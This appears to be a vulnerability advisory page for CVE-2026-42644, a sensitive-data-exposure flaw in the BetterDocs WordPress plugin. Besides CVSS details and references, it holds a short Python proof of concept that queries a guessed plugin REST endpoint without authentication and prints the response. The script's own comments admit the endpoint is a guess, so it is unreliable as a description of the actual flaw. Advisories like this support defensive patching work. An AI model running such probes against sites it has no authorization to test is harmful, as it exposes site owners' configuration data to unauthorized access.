CVE-2026-42644

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in WPDeveloper BetterDocs betterdocs allows Retrieve Embedded Sensitive Data.This issue affects BetterDocs: from n/a through <= 4.3.10.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BetterDocs <= 4.3.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-42644
# This script demonstrates unauthorized data retrieval.

import requests

def exploit(target_url):
    # Example vulnerable endpoint structure
    # Actual endpoint may vary based on plugin analysis
    endpoint = "/wp-json/betterdocs/v1/settings" 
    url = f"{target_url}{endpoint}"
    
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            print("[+] Potential data exposure detected:")
            print(response.text)
        else:
            print("[-] Target may not be vulnerable or endpoint changed.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42644
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42644
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42644/
[4] VulDB https://vuldb.com/cve/CVE-2026-42644
[5] https://patchstack.com/database/Wordpress/Plugin/betterdocs/vulnerability/wordpress-betterdocs-plugin-4-3-10-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

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